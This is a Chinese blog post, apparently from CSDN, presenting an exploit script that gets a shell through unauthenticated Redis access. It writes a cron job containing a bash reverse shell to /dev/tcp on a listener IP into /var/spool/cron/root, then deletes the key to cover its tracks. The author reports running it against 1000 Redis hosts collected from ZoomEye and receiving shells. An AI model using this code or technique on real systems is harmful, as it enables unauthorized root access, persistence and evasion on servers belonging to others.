Redis Getshell自动化实践之cron

利用流程

1 通过redis未授权访问漏洞,向redis插入一条记录,内容是反弹shell的定时任务
2 通过redis数据导出功能,将含有定时任务代码的数据导出到/var/spool/cron/root
3 监听端口,获取shell

编写exp

完整代码:
https://github.com/Xyntax/POC-T/blob/master/script/redis-cron-getshell.py

和之前的ssh-key相比简单了点.

首先判断是否存在未授权访问

r = redis.Redis(host=ip, port=port, db=0, socket_timeout=10)
if 'redis_version' in r.info():

构造定时任务代码

listen_ip = '115.28.1.1'
listen_port = 9999

payload = '\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/{ip}/{port} 0>&1\n\n'.format(ip=listen_ip,port=str(listen_port))

写入/var/spool/cron/root

path = '/var/spool/cron'
name = 'root'
key = randomString(10)
r.set(key, payload)
r.config_set('dir', path)
r.config_set('dbfilename', name)
r.save()

清除痕迹

r.delete(key)
r.config_set('dir', '/tmp')

这里没有验证是否真正能反弹,如果有需要的话可以把定时任务代码改成ping,然后使用cloudeye(api已集成到工具中)等dns日志工具做验证.

测试

加载1000个ZoomEye采集的redis站点,也可以使用--api --dork参数直接从ZoomEye采集

测试结果

然后监听端口,一会就会有shell自动连过来

1

看下我们之前写入的文件

2

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值